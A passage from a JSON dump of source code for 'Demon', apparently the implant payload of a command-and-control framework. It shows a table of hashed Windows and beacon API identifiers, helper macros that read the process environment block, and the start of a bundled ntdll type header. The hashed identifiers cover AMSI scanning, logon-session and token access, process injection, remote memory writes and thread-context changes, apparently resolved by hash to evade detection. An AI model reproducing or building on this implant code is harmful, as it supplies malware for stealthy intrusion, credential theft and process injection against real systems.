H_FUNC_LSACALLAUTHENTICATIONPACKAGE          0x6d1a042d\n#define H_FUNC_LSAGETLOGONSESSIONDATA                0x1c698f42\n#define H_FUNC_LSAENUMERATELOGONSESSIONS             0xbca01141\n#define H_FUNC_SLEEP                                 0xe07cd7e\n#define H_FUNC_CREATETHREAD                          0x98baab11\n#define H_FUNC_AMSISCANBUFFER                        0xbab3d02e\n#define H_FUNC_GLOBALFREE                            0x47886698\n#define H_FUNC_SWPRINTF_S                            0x481aa3d4\n\n\n// Beacon API\n#define H_COFFAPI_BEACONDATAPARSER                0xe2494ba2\n#define H_COFFAPI_BEACONDATAINT                   0xaf1afdd2\n#define H_COFFAPI_BEACONDATASHORT                 0xe2835ef7\n#define H_COFFAPI_BEACONDATALENGTH                0x22641d29\n#define H_COFFAPI_BEACONDATAEXTRACT               0x80d46722\n\n#define H_COFFAPI_BEACONFORMATALLOC               0x4caae0e1\n#define H_COFFAPI_BEACONFORMATRESET               0x4ddac759\n#define H_COFFAPI_BEACONFORMATFREE                0x7e749f38\n#define H_COFFAPI_BEACONFORMATAPPEND              0xe25167ce\n#define H_COFFAPI_BEACONFORMATPRINTF              0x056f4aa9\n#define H_COFFAPI_BEACONFORMATTOSTRING            0xb59f4df0\n#define H_COFFAPI_BEACONFORMATINT                 0x3a229cc1\n\n#define H_COFFAPI_BEACONPRINTF                    0x700d8660\n#define H_COFFAPI_BEACONOUTPUT                    0x6df4b81e\n#define H_COFFAPI_BEACONUSETOKEN                  0x889e48bb\n#define H_COFFAPI_BEACONREVERTTOKEN               0xf2744ba6\n#define H_COFFAPI_BEACONISADMIN                   0x566264d2\n#define H_COFFAPI_BEACONGETSPAWNTO                0x1e7c9fb9\n#define H_COFFAPI_BEACONSPAWNTEMPORARYPROCESS     0xd6c57438\n#define H_COFFAPI_BEACONINJECTPROCESS             0x0ea75b09\n#define H_COFFAPI_BEACONINJECTTEMPORARYPROCESS    0x9e22498c\n#define H_COFFAPI_BEACONCLEANUPPROCESS            0xcee62b74\n#define H_COFFAPI_BEACONINFORMATION               0x49f62013\n#define H_COFFAPI_BEACONADDVALUE                  0x8e977933\n#define H_COFFAPI_BEACONGETVALUE                  0x8a6f3d4a\n#define H_COFFAPI_BEACONREMOVEVALUE               0x25aebef8\n#define H_COFFAPI_BEACONDATASTOREGETITEM          0x66ac0703\n#define H_COFFAPI_BEACONDATASTOREPROTECTITEM      0x224ee8c4\n#define H_COFFAPI_BEACONDATASTOREUNPROTECTITEM    0x2f2a6567\n#define H_COFFAPI_BEACONDATASTOREMAXENTRIES       0xb1855534\n#define H_COFFAPI_BEACONGETCUSTOMUSERDATA         0xc15ec8e1\n\n#define H_COFFAPI_TOWIDECHAR                      0x59fcf3cf\n#define H_COFFAPI_LOADLIBRARYA                    0x5fbff0fb\n#define H_COFFAPI_GETPROCADDRESS                  0xcf31bb1f\n#define H_COFFAPI_GETMODULEHANDLE                 0x5a153f58\n#define H_COFFAPI_FREELIBRARY                     0x30eece3c\n#define H_COFFAPI_LOCALFREE                       0xa66df372\n\n#define H_COFFAPI_NTOPENTHREAD                    0xfb8a31d1\n#define H_COFFAPI_NTOPENPROCESS                   0x5003c058\n#define H_COFFAPI_NTTERMINATEPROCESS              0x1703ab2f\n#define H_COFFAPI_NTOPENTHREADTOKEN               0xfc45b972\n#define H_COFFAPI_NTOPENPROCESSTOKEN              0x7bd07459\n#define H_COFFAPI_NTDUPLICATETOKEN                0x3000ecc3\n#define H_COFFAPI_NTQUEUEAPCTHREAD                0xd4612238\n#define H_COFFAPI_NTSUSPENDTHREAD                 0x50febd61\n#define H_COFFAPI_NTRESUMETHREAD                  0x2c7b3d30\n#define H_COFFAPI_NTCREATEEVENT                   0xca58747d\n#define H_COFFAPI_NTCREATETHREADEX                0xcb0c2130\n#define H_COFFAPI_NTDUPLICATEOBJECT               0x2388ee19\n#define H_COFFAPI_NTGETCONTEXTTHREAD              0x9e0e1a44\n#define H_COFFAPI_NTSETCONTEXTTHREAD              0x308be0d0\n#define H_COFFAPI_NTQUERYINFORMATIONPROCESS       0xd034fc62\n#define H_COFFAPI_NTQUERYSYSTEMINFORMATION        0xee4f73a8\n#define H_COFFAPI_NTWAITFORSINGLEOBJECT           0x4c6dc63c\n#define H_COFFAPI_NTALLOCATEVIRTUALMEMORY         0x6793c34c\n#define H_COFFAPI_NTWRITEVIRTUALMEMORY            0x95f3a792\n#define H_COFFAPI_NTFREEVIRTUALMEMORY             0x471aa7e9\n#define H_COFFAPI_NTUNMAPVIEWOFSECTION            0x595014ad\n#define H_COFFAPI_NTPROTECTVIRTUALMEMORY          0x082962c8\n#define H_COFFAPI_NTREADVIRTUALMEMORY             0xc24062e3\n#define H_COFFAPI_NTTERMINATETHREAD               0xac3c9dc8\n#define H_COFFAPI_NTALERTRESUMETHREAD             0x482e8408\n#define H_COFFAPI_NTSIGNALANDWAITFORSINGLEOBJECT  0x7bdd15cd\n#define H_COFFAPI_NTQUERYVIRTUALMEMORY            0xe39d8e5d\n#define H_COFFAPI_NTQUERYINFORMATIONTOKEN         0x2ce5a244\n#define H_COFFAPI_NTQUERYINFORMATIONTHREAD        0xc91f149b\n#define H_COFFAPI_NTQUERYOBJECT                   0x218116f4\n#define H_COFFAPI_NTCLOSE                         0x8b8e133d\n#define H_COFFAPI_NTSETINFORMATIONTHREAD          0x54212e31\n#define H_COFFAPI_NTSETINFORMATIONVIRTUALMEMORY   0xe7aea539\n#define H_COFFAPI_NTGETNEXTTHREAD                 0x8f8000fe\n\n#define H_MODULE_KERNEL32                         0xadd31df0\n#define H_MODULE_NTDLL                            0x70e61753\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/common/Macros.h",
    "content": "#ifndef DEMON_MACROS_H\n#define DEMON_MACROS_H\n\n#include <stdio.h>\n\n#ifdef _WIN64\n#define PPEB_PTR __readgsqword( 0x60 )\n#else\n#define PPEB_PTR __readfsdword( 0x30 )\n#endif\n\n#define NT_SUCCESS(Status)              ( ( ( NTSTATUS ) ( Status ) ) >= 0 )\n#define NtCurrentProcess()              ( ( HANDLE ) ( LONG_PTR ) - 1 )\n#define NtCurrentThread()               ( ( HANDLE ) ( LONG_PTR ) - 2 )\n#define NtGetLastError()                Instance->Teb->LastErrorValue\n#define NtSetLastError(x)               Instance->Teb->LastErrorValue = x\n\n/* Heap allocation functions */\n#define NtProcessHeap()                 Instance->Teb->ProcessEnvironmentBlock->ProcessHeap\n#define DLLEXPORT                       __declspec( dllexport )\n\n#define RVA( TYPE, DLLBASE, RVA )  ( TYPE ) ( ( PBYTE ) DLLBASE + RVA )\n#define DATA_FREE( d, l ) \\\n    if ( d ) { \\\n        MemSet( d, 0, l ); \\\n        Instance->Win32.LocalFree( d ); \\\n        d = NULL; \\\n    }\n\n#define SEC_DATA        __attribute__( ( section( \".data\" ) ) )\n#define U_PTR( x )      ( ( UINT_PTR ) x )\n#define C_PTR( x )      ( ( LPVOID ) x )\n#define B_PTR( x )      ( ( PBYTE ) ( x ) )\n#define DREF_U8( x )    ( ( BYTE ) *( PBYTE* )( x ) )\n#define DREF_U16( x )   ( ( WORD ) *( PWORD* )( x ) )\n#define HTONS32( x )    __builtin_bswap32( x )\n#define HTONS16( x )    __builtin_bswap16( x )\n#define IMAGE_SIZE( IM ) \\\n    ( ( ( PIMAGE_NT_HEADERS ) ( IM + ( ( PIMAGE_DOS_HEADER ) IM )->e_lfanew ) )->OptionalHeader.SizeOfImage )\n\n// DEBUG\n#ifdef DEBUG\n#if SEND_LOGS\n#define PRINTF( f, ... )                { DemonPrintf( \"[DEBUG::%s::%d] \" f, __FUNCTION__, __LINE__, __VA_ARGS__ ); }\n#define PRINTF_DONT_SEND( f, ... )      { ; }\n#elif SVC_EXE\n#define PRINTF( f, ... )                { DbgPrint( \"[DEBUG::%s::%d] \" f, __FUNCTION__, __LINE__, __VA_ARGS__ ); }\n#define PRINTF_DONT_SEND( f, ... )      { DbgPrint( \"[DEBUG::%s::%d] \" f, __FUNCTION__, __LINE__, __VA_ARGS__ ); }\n#elif SHELLCODE\n#define PRINTF( f, ... )                { LogToConsole( \"[DEBUG::%s::%d] \" f, __FUNCTION__, __LINE__, __VA_ARGS__ ); }\n#define PRINTF_DONT_SEND( f, ... )      { LogToConsole( \"[DEBUG::%s::%d] \" f, __FUNCTION__, __LINE__, __VA_ARGS__ ); }\n#else\n#define PRINTF( f, ... )                { printf( \"[DEBUG::%s::%d] \" f, __FUNCTION__, __LINE__, __VA_ARGS__ ); }\n#define PRINTF_DONT_SEND( f, ... )      { printf( \"[DEBUG::%s::%d] \" f, __FUNCTION__, __LINE__, __VA_ARGS__ ); }\n#endif\n#else\n#define PRINTF( f, ... )                { ; }\n#define PRINTF_DONT_SEND( f, ... )      { ; }\n#endif\n\n#ifdef DEBUG\n#if SEND_LOGS\n#define PUTS( s )           { DemonPrintf( \"[DEBUG::%s::%d] %s\\n\", __FUNCTION__, __LINE__, s ); }\n#define PUTS_DONT_SEND( s ) { ; }\n#elif SHELLCODE\n#define PUTS( s )           { LogToConsole( \"[DEBUG::%s::%d] %s\\n\", __FUNCTION__, __LINE__, s ); }\n#define PUTS_DONT_SEND( s ) { LogToConsole( \"[DEBUG::%s::%d] %s\\n\", __FUNCTION__, __LINE__, s ); }\n#else\n#define PUTS( s )           { printf( \"[DEBUG::%s::%d] %s\\n\", __FUNCTION__, __LINE__, s ); }\n#define PUTS_DONT_SEND( s ) { printf( \"[DEBUG::%s::%d] %s\\n\", __FUNCTION__, __LINE__, s ); }\n#endif\n#else\n#define PUTS( s )           { ; }\n#define PUTS_DONT_SEND( s ) { ; }\n#endif\n\n#ifdef DEBUG\n#define PRINT_HEX( b, l )                               \\\n    printf( #b \": [%d] [ \", l );                        \\\n    for ( int i = 0 ; i < l; i++ )                      \\\n    {                                                   \\\n        printf( \"%02x \", ( ( PUCHAR ) b ) [ i ] );      \\\n    }                                                   \\\n    puts( \"]\" );\n#else\n#define PRINT_HEX( b, l ) {}\n#endif\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/common/Native.h",
    "content": "/*\r\n\tntdll.h\r\n\tUser Mode, 32bit & 64bit version\r\n\tVisual Studio 6.0 - Visual Studio 2010 and MingW compatible\r\n\tIntel C++ Compiler (ICL) 11.x - 12.x preferred\r\n\r\n\t(c) 2019 - Rokas Kupstys\r\n\t(c) 2009, 2010, 2011 - Fyyre\r\n\t(c) 2011 - 2012 EP_X0FF\r\n\t(c) 2011 - rndbit\r\n\r\n\tversion 1.26 ( increment this if changes has global effect )\r\n\tplease mark your changes date begin / date end comments\r\n\r\n\tlast change 04/01/2012\r\n\r\n\tnote: Please use _M_X86/_M_X64 for if(n)def/endif conditionals, instead of WIN32/WIN64.\r\n*/\r\n\r\n#if !defined(_NTDLL_)\r\n#define _NTDLL_\r\n\r\n#pragma warning( disable:4001 )\t// level 4 error - nonstandard extension 'single line comment' was used\r\n#pragma warning( disable:4201 )\t// level 4 error - nonstandard extension used : nameless struct/union - ANSI C violation\r\n#pragma warning( disable:4214 ) // level 4 error - nonstandard extension used : bit field types other than int - ANSI C violation\r\n\r\n#if defined(__ICL)\r\n#pragma warning ( disable : 344 )\r\n#endif\r\n\r\n#pragma pack( push, 8 )\r\n\r\n#if defined(__cplusplus)\r\nextern \"C\" {\r\n#endif\r\n\r\n#include <wtypes.h>\r\n#include <basetsd.h>\r\n\r\n#if !defined(NTSTATUS)\r\ntypedef LONG NTSTATUS;\r\ntypedef NTSTATUS *PNTSTATUS;\r\n#endif\r\n\r\n#if !defined(SECURITY_STATUS)\r\ntypedef LONG SECURITY_STATUS;\r\n#endif\r\n\r\n#define EXPORT_FN __declspec(dllexport)\r\n#define IMPORT_FN __declspec(dllimport)\r\n\r\n#define PAGE_SIZE 0x1000\r\n\r\n#define EXTERNAL extern \"C\"\r\n\r\n#ifndef UNREFERENCED_PARAMETER\r\n#define UNREFERENCED_PARAMETER(P)\t(P)\r\n#endif\r\n\r\n#include \"ntstatus.h\"\r\n\r\n#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)\r\n#define NT_INFORMATION(Status) ((ULONG)(Status) >> 30 == 1)\r\n#define NT_WARNING(Status) ((ULONG)(Status) >> 30 == 2)\r\n#define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3)\r\n\r\n#define ABSOLUTE_TIME(wait) (wait)\r\n#define RELATIVE_TIME(wait) (-(wait))\r\n#define NANOSECONDS(nanos)      \\\r\n    (((signed __int64)(nanos)) / 100L)\r\n#define MICROSECONDS(micros)    \\\r\n    (((signed __int64)(micros)) * NANOSECONDS(1000L))\r\n#define MILLISECONDS(milli)     \\\r\n    (((signed __int64)(milli)) * MICROSECONDS(1000L))\r\n#define SECONDS(seconds)        \\\r\n    (((signed __int64)(seconds)) * MILLISECONDS(1000L))\r\n\r\n#define ARGUMENT_PRESENT(ArgumentPointer)    (\\\r\n\t(CHAR *)((ULONG_PTR)(ArgumentPointer)) != (CHAR *)(NULL) )\r\n\r\n#define RESTORE_LIST(ListEntry) \\\r\n\tListEntry.Flink = ListEntry.Flink; \\\r\n\tListEntry.Blink = ListEntry.Blink\r\n\r\n#define UNLINK(x) (x).Blink->Flink = (x).Flink; \\\r\n\t(x).Flink->Blink = (x).Blink;\r\n\r\n#define ALIGN_TO_POWER2( x, n ) (((ULONG)(x) + ((n)-1)) & ~((ULONG)(n)-1))\r\n\r\n#define POI(addr) *(ULONG *)(addr)\r\n\r\n#define IS_PATH_SEPARATOR(ch) ((ch == '\\\\') || (ch == '/'))\r\n#define IS_DOT(s) ( s[0] == '.' && ( IS_PATH_SEPARATOR(s[1]) || s[1] == '\\0') )\r\n#define IS_DOT_DOT(s) ( s[0] == '.' && s[1] == '.' && ( IS_PATH_SEPARATOR(s[2]) || s[2] == '\\0') )\r\n\r\n#define IS_PATH_SEPARATOR_U(ch) ((ch == (WCHAR)'\\\\') || (ch == (WCHAR)'/'))\r\n#define IS_DOT_U(s) ( s[0] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[1]) || s[1] == UNICODE_NULL) )\r\n#define IS_DOT_DOT_U(s) ( s[0] == (WCHAR)'.' && s[1] == (WCHAR)'.' && ( IS_PATH_SEPARATOR_U(s[2]) || s[2] == UNICODE_NULL) )\r\n\r\n#define jmp_length(y,x) ((x-y)-5)\r\n#define stc_jc(y,x) ((x-y)-7)\r\n\r\n#define MODIFYBYTE( _base, _offset, _byte ) { ((unsigned char *)_base)[_offset] = (unsigned char)_byte; }\r\n#define MODIFYWORD( _base, _offset, _word ) { ((unsigned short *)_base)[_offset] = (unsigned short)_word; }\r\n#define MODIFYDWORD( _base, _offset, _dword ) { ((unsigned long *)_base)[_offset] = (unsigned long)_dword; }\r\n#define MODIFYQWORD( _base, _offset, _qword ) { ((unsigned long long *)_base)[_offset] = (unsigned long long)_qword; }\r\n\r\n#define PTR_ADD_OFFSET(Pointer, Offset) ((PVOID)((ULONG_PTR)(Pointer) + (ULONG_PTR)(Offset)))\r\n\r\n#define WRITE_JMP( from, to ) { ((PCHAR)from)[0] = (CHAR)0xE9; *((ULONG_PTR *)&(((PCHAR)(from))[1])) = (PCHAR)(to) - (PCHAR)(from) - 5; }\r\n#define GET_JMP( from ) (((PCHAR)from)[0]==(CHAR)0xE9)? (*((ULONG_PTR *)&(((PCHAR)(from))[1])) + 5 + (ULONG_PTR)(from)) : 0\r\n\r\n#define ASSERT( exp )\t((void) 0)\r\n\r\n//\r\n// The following macros store and retrieve USHORTS and ULONGS from potentially unaligned addresses, avoiding alignment faults.\r\n//\r\n\r\n// 31.05.2011 - added the following macros\r\n#define SHORT_SIZE\t\t(sizeof(USHORT))\r\n#define SHORT_MASK\t\t(SHORT_SIZE - 1)\r\n#define LONG_SIZE\t\t\t(sizeof(LONG))\r\n#define LONG_MASK\t\t\t(LONG_SIZE - 1)\r\n#define LOWBYTE_MASK\t0x00FF\r\n\r\n#define FIRSTBYTE(VALUE)  (VALUE & LOWBYTE_MASK)\r\n#define SECONDBYTE(VALUE) ((VALUE >> 8) & LOWBYTE_MASK)\r\n#define THIRDBYTE(VALUE)  ((VALUE >> 16) & LOWBYTE_MASK)\r\n#define FOURTHBYTE(VALUE) ((VALUE >> 24) & LOWBYTE_MASK)\r\n\r\n//\r\n// if MIPS Big Endian, order of bytes is reversed.\r\n//\r\n\r\n#define SHORT_LEAST_SIGNIFICANT_BIT\t\t\t0\r\n#define SHORT_MOST_SIGNIFICANT_BIT\t\t\t1\r\n\r\n#define LONG_LEAST_SIGNIFICANT_BIT\t\t\t0\r\n#define LONG_3RD_MOST_SIGNIFICANT_BIT\t\t1\r\n#define LONG_2ND_MOST_SIGNIFICANT_BIT\t\t2\r\n#define LONG_MOST_SIGNIFICANT_BIT\t\t\t\t3\r\n\r\n//++\r\n//\r\n// VOID\r\n// RtlStoreUshort (\r\n//     PUSHORT ADDRESS\r\n//     USHORT VALUE\r\n//     )\r\n//\r\n// Routine Description:\r\n//\r\n// This macro stores a USHORT value in at a particular address, avoiding\r\n// alignment faults.\r\n//\r\n// Arguments:\r\n//\r\n//     ADDRESS - where to store USHORT value\r\n//     VALUE - USHORT to store\r\n//\r\n// Return Value:\r\n//\r\n//     none.\r\n//\r\n//--\r\n\r\n#define RtlStoreUshort(ADDRESS,VALUE)                     \\\r\n         if ((ULONG_PTR)ADDRESS & SHORT_MASK) {               \\\r\n             ((PUCHAR) ADDRESS)[SHORT_LEAST_SIGNIFICANT_BIT] = (UCHAR)(FIRSTBYTE(VALUE));    \\\r\n             ((PUCHAR) ADDRESS)[SHORT_MOST_SIGNIFICANT_BIT ] = (UCHAR)(SECONDBYTE(VALUE));   \\\r\n         }                                                \\\r\n         else {                                           \\\r\n             *((PUSHORT) ADDRESS) = (USHORT) VALUE;       \\\r\n         }\r\n\r\n\r\n//++\r\n//\r\n// VOID\r\n// RtlStoreUlong (\r\n//     PULONG ADDRESS\r\n//     ULONG VALUE\r\n//     )\r\n//\r\n// Routine Description:\r\n//\r\n// This macro stores a ULONG value in at a particular address, avoiding\r\n// alignment faults.\r\n//\r\n// Arguments:\r\n//\r\n//     ADDRESS - where to store ULONG value\r\n//     VALUE - ULONG to store\r\n//\r\n// Return Value:\r\n//\r\n//     none.\r\n//\r\n// Note:\r\n//     Depending on the machine, we might want to call storeushort in the\r\n//     unaligned case.\r\n//\r\n//--\r\n\r\n#define RtlStoreUlong(ADDRESS,VALUE)                      \\\r\n         if ((ULONG_PTR)ADDRESS & LONG_MASK) {                \\\r\n             ((PUCHAR) ADDRESS)[LONG_LEAST_SIGNIFICANT_BIT      ] = (UCHAR)(FIRSTBYTE(VALUE));    \\\r\n             ((PUCHAR) ADDRESS)[LONG_3RD_MOST_SIGNIFICANT_BIT   ] = (UCHAR)(SECONDBYTE(VALUE));   \\\r\n             ((PUCHAR) ADDRESS)[LONG_2ND_MOST_SIGNIFICANT_BIT   ] = (UCHAR)(THIRDBYTE(VALUE));    \\\r\n             ((PUCHAR) ADDRESS)[LONG_MOST_SIGNIFICANT_BIT       ] = (UCHAR)(FOURTHBYTE(VALUE));   \\\r\n         }                                                \\\r\n         else {                                           \\\r\n             *((PULONG) ADDRESS) = (ULONG) VALUE;         \\\r\n         }\r\n\r\n//++\r\n//\r\n// VOID\r\n// RtlRetrieveUshort (\r\n//     PUSHORT DESTINATION_ADDRESS\r\n//     PUSHORT SOURCE_ADDRESS\r\n//     )\r\n//\r\n// Routine Description:\r\n//\r\n// This macro retrieves a USHORT value from the SOURCE address, avoiding\r\n// alignment faults.  The DESTINATION address is assumed to be aligned.\r\n//\r\n// Arguments:\r\n//\r\n//     DESTINATION_ADDRESS - where to store USHORT value\r\n//     SOURCE_ADDRESS - where to retrieve USHORT value from\r\n//\r\n// Return Value:\r\n//\r\n//     none.\r\n//\r\n//--\r\n\r\n#define RtlRetrieveUshort(DEST_ADDRESS,SRC_ADDRESS)                   \\\r\n         if ((ULONG_PTR)SRC_ADDRESS & SHORT_MASK) {                       \\\r\n             ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0];  \\\r\n             ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1];  \\\r\n         }                                                            \\\r\n         else {                                                       \\\r\n             *((PUSHORT) DEST_ADDRESS) = *((PUSHORT) SRC_ADDRESS);    \\\r\n         }                                                            \\\r\n\r\n//++\r\n//\r\n// VOID\r\n// RtlRetrieveUlong (\r\n//     PULONG DESTINATION_ADDRESS\r\n//     PULONG SOURCE_ADDRESS\r\n//     )\r\n//\r\n// Routine Description:\r\n//\r\n// This macro retrieves a ULONG value from the SOURCE address, avoiding\r\n// alignment faults.  The DESTINATION address is assumed to be aligned.\r\n//\r\n// Arguments:\r\n//\r\n//     DESTINATION_ADDRESS - where to store ULONG value\r\n//     SOURCE_ADDRESS - where to retrieve ULONG value from\r\n//\r\n// Return Value:\r\n//\r\n//     none.\r\n//\r\n// Note:\r\n//     Depending on the machine, we might want to call retrieveushort in the\r\n//     unaligned case.\r\n//\r\n//--\r\n\r\n#define RtlRetrieveUlong(DEST_ADDRESS,SRC_ADDRESS)                    \\\r\n         if ((ULONG_PTR)SRC_ADDRESS & LONG_MASK) {                        \\\r\n             ((PUCHAR) DEST_ADDRESS)[0] = ((PUCHAR) SRC_ADDRESS)[0];  \\\r\n             ((PUCHAR) DEST_ADDRESS)[1] = ((PUCHAR) SRC_ADDRESS)[1];  \\\r\n             ((PUCHAR) DEST_ADDRESS)[2] = ((PUCHAR) SRC_ADDRESS)[2];  \\\r\n             ((PUCHAR) DEST_ADDRESS)[3] = ((PUCHAR) SRC_ADDRESS)[3];  \\\r\n         }                                                            \\\r\n         else {                                                       \\\r\n             *((PULONG) DEST_ADDRESS) = *((PULONG) SRC_ADDRESS);      \\\r\n         }\r\n\r\n//++\r\n//\r\n// PCHAR\r\n// RtlOffsetToPointer (\r\n//     PVOID Base,\r\n//     ULONG Offset\r\n//     )\r\n//\r\n// Routine Description:\r\n//\r\n// This macro generates a pointer which points to the byte that is 'Offset'\r\n// bytes beyond 'Base'. This is useful for referencing fields within\r\n// self-relative data structures.\r\n//\r\n// Arguments:\r\n//\r\n//     Base - The address of the base of the structure.\r\n//\r\n//     Offset - An unsigned integer offset of the byte whose address is to\r\n//         be generated.\r\n//\r\n// Return Value:\r\n//\r\n//     A PCHAR pointer to the byte that is 'Offset' bytes beyond 'Base'.\r\n//\r\n//\r\n//--\r\n\r\n#define RtlOffsetToPointer(B,O)  ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O))  ))\r\n\r\n\r\n//++\r\n//\r\n// ULONG\r\n// RtlPointerToOffset (\r\n//     PVOID Base,\r\n//     PVOID Pointer\r\n//     )\r\n//\r\n// Routine Description:\r\n//\r\n// This macro calculates the offset from Base to Pointer.  This is useful\r\n// for producing self-relative offsets for structures.\r\n//\r\n// Arguments:\r\n//\r\n//     Base - The address of the base of the structure.\r\n//\r\n//     Pointer - A pointer to a field, presumably within the structure\r\n//         pointed to by Base.  This value must be larger than that specified\r\n//         for Base.\r\n//\r\n// Return Value:\r\n//\r\n//     A ULONG offset from Base to Pointer.\r\n//\r\n//\r\n//--\r\n\r\n#define RtlPointerToOffset(B,P)  ((ULONG)( ((PCHAR)(P)) - ((PCHAR)(B))  ))\r\n// 31.05.2011 - end\r\n\r\n//\r\n// Data Types -- DOT NOT modify -- modification will break 32bit & 64bit compatibly.\r\n//\r\n\r\ntypedef char CCHAR;\r\ntypedef short CSHORT;\r\ntypedef CCHAR *PCCHAR;\r\ntypedef CSHORT *PCSHORT;\r\ntypedef ULONG CLONG;\r\ntypedef ULONG *PCLONG;\r\n\r\ntypedef ULONG LOGICAL;\r\ntypedef ULONG *PLOGICAL;\r\n\r\ntypedef LONG KPRIORITY;\r\n\r\ntypedef struct _STRING\r\n{\r\n\tUSHORT Length;\r\n\tUSHORT MaximumLength;\r\n\tPCHAR Buffer;\r\n} STRING;\r\n\r\ntypedef STRING *PSTRING;\r\n\r\ntypedef STRING ANSI_STRING;\r\ntypedef PSTRING PANSI_STRING;\r\n\r\ntypedef STRING OEM_STRING;\r\ntypedef PSTRING POEM_STRING;\r\ntypedef CONST STRING* PCOEM_STRING;\r\n\r\ntypedef struct _CSTRING\r\n{\r\n\tUSHORT Length;\r\n\tUSHORT MaximumLength;\r\n\tCONST char *Buffer;\r\n} CSTRING;\r\ntypedef CSTRING *PCSTRING;\r\n#define ANSI_NULL ((CHAR)0)\r\n\r\ntypedef STRING CANSI_STRING;\r\ntypedef PSTRING PCANSI_STRING;\r\n\r\ntypedef struct _UNICODE_STRING\r\n{\r\n\tUSHORT Length;\r\n\tUSHORT MaximumLength;\r\n\tPWSTR Buffer;\r\n} UNICODE_STRING, *PUNICODE_STRING, **PPUNICODE_STRING;\r\ntypedef const UNICODE_STRING *PCUNICODE_STRING;\r\n\r\ntypedef struct _STRING32\r\n{\r\n\tUSHORT Length;\r\n\tUSHORT MaximumLength;\r\n\tULONG Buffer;\r\n} STRING32;\r\ntypedef STRING32 *PSTRING32;\r\n\r\ntypedef STRING32 UNICODE_STRING32;\r\ntypedef UNICODE_STRING32 *PUNICODE_STRING32;\r\n#define UNICODE_NULL ((WCHAR)0)\r\n\r\ntypedef STRING32 ANSI_STRING32;\r\ntypedef ANSI_STRING32 *PANSI_STRING32;\r\n\r\ntypedef struct _STRING64\r\n{\r\n\tUSHORT Length;\r\n\tUSHORT MaximumLength;\r\n\tULONG_PTR\tBuffer;\r\n} STRING64;\r\n\r\ntypedef STRING64 *PSTRING64;\r\n\r\ntypedef STRING64 UNICODE_STRING64;\r\ntypedef UNICODE_STRING64 *PUNICODE_STRING64;\r\n\r\ntypedef STRING64 ANSI_STRING64;\r\ntypedef ANSI_STRING64 *PANSI_STRING64;\r\n\r\ntypedef USHORT RTL_ATOM;\r\ntypedef RTL_ATOM *PRTL_ATOM;\r\n\r\ntypedef UCHAR KIRQL;\r\ntypedef KIRQL *PKIRQL;\r\n\r\ntypedef CONST char *PCSZ;\r\n\r\ntypedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;\r\n\r\n#if !defined( _WINNT_ )\r\n\r\ntypedef struct _LIST_ENTRY {\r\n   struct _LIST_ENTRY *Flink;\r\n   struct _LIST_ENTRY *Blink;\r\n} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;\r\n\r\n#define FIELD_OFFSET(type, field)    ((LONG)&(((type *)0)->field))\r\n\r\n#define CONTAINING_RECORD(address, type, field) ((type FAR *)( \\\r\n                                          (PCHAR)(address) - \\\r\n                                          (PCHAR)(&((type *)0)->field)))\r\n#endif\r\n\r\ntypedef struct _TRIPLE_LIST_ENTRY\r\n{\r\n\tstruct _TRIPLE_LIST_ENTRY* Flink[ 3 ];\r\n\tstruct _TRIPLE_LIST_ENTRY* Blink;\r\n} TRIPLE_LIST_ENTRY, *PTRIPLE_LIST_ENTRY;\r\n\r\n#define IN_REGION(x, Base, Size) (((ULONG)x >= (ULONG_PTR)Base) && ((ULONG)x <= (ULONG_PTR)Base + (ULONG)Size))\r\n\r\n#ifndef RVATOVA\r\n#define RVATOVA(base, offset) ((PVOID)((ULONG)base + (ULONG)(offset)))\r\n#endif\r\n\r\n#ifndef NOP_FUNCTION\r\n#define NOP_FUNCTION (void)0\r\n#endif\r\n#define PAGED_CODE() NOP_FUNCTION;\r\n\r\n#if defined(USE_LPC6432)\r\n#define LPC_CLIENT_ID CLIENT_ID64\r\n#define LPC_SIZE_T ULONGLONG\r\n#define LPC_PVOID ULONGLONG\r\n#define LPC_HANDLE ULONGLONG\r\n#else\r\n#define LPC_CLIENT_ID CLIENT_ID\r\n#define LPC_SIZE_T SIZE_T\r\n#define LPC_PVOID PVOID\r\n#define LPC_HANDLE HANDLE\r\n#endif\r\n\r\n#define OBJ_INHERIT             0x00000002L\r\n#define OBJ_HANDLE_TAGBITS\t\t\t0x00000003L\r\n#define OBJ_PERMANENT           0x00000010L\r\n#define OBJ_EXCLUSIVE           0x00000020L\r\n#define OBJ_CASE_INSENSITIVE    0x00000040L\r\n#define OBJ_OPENIF              0x00000080L\r\n#define OBJ_OPENLINK            0x00000100L\r\n#define OBJ_KERNEL_HANDLE       0x00000200L\r\n#define OBJ_FORCE_ACCESS_CHECK  0x00000400L\r\n#define OBJ_VALID_ATTRIBUTES    0x000007F2L\r\n\r\n#define RTL_QUERY_PROCESS_MODULES       0x00000001\r\n#define RTL_QUERY_PROCESS_BACKTRACES    0x00000002\r\n#define RTL_QUERY_PROCESS_HEAP_SUMMARY  0x00000004\r\n#define RTL_QUERY_PROCESS_HEAP_TAGS     0x00000008\r\n#define RTL_QUERY_PROCESS_HEAP_ENTRIES  0x00000010\r\n#define RTL_QUERY_PROCESS_LOCKS         0x00000020\r\n#define RTL_QUERY_PROCESS_MODULES32     0x00000040\r\n#define RTL_QUERY_PROCESS_NONINVASIVE   0x80000000\r\n\r\ntypedef struct _OBJECT_ATTRIBUTES\r\n{\r\n\tULONG Length;\r\n\tHANDLE RootDirectory;\r\n\tPUNICODE_STRING ObjectName;\r\n\tULONG Attributes;\r\n\tPVOID SecurityDescriptor;        // SECURITY_DESCRIPTOR\r\n\tPVOID SecurityQualityOfService;  // SECURITY_QUALITY_OF_SERVICE\r\n} OBJECT_ATTRIBUTES;\r\ntypedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;\r\ntypedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES;\r\n\r\n#define InitializeObjectAttributes( p, n, a, r, s ) { \\\r\n\t(p)->Length = sizeof( OBJECT_ATTRIBUTES );          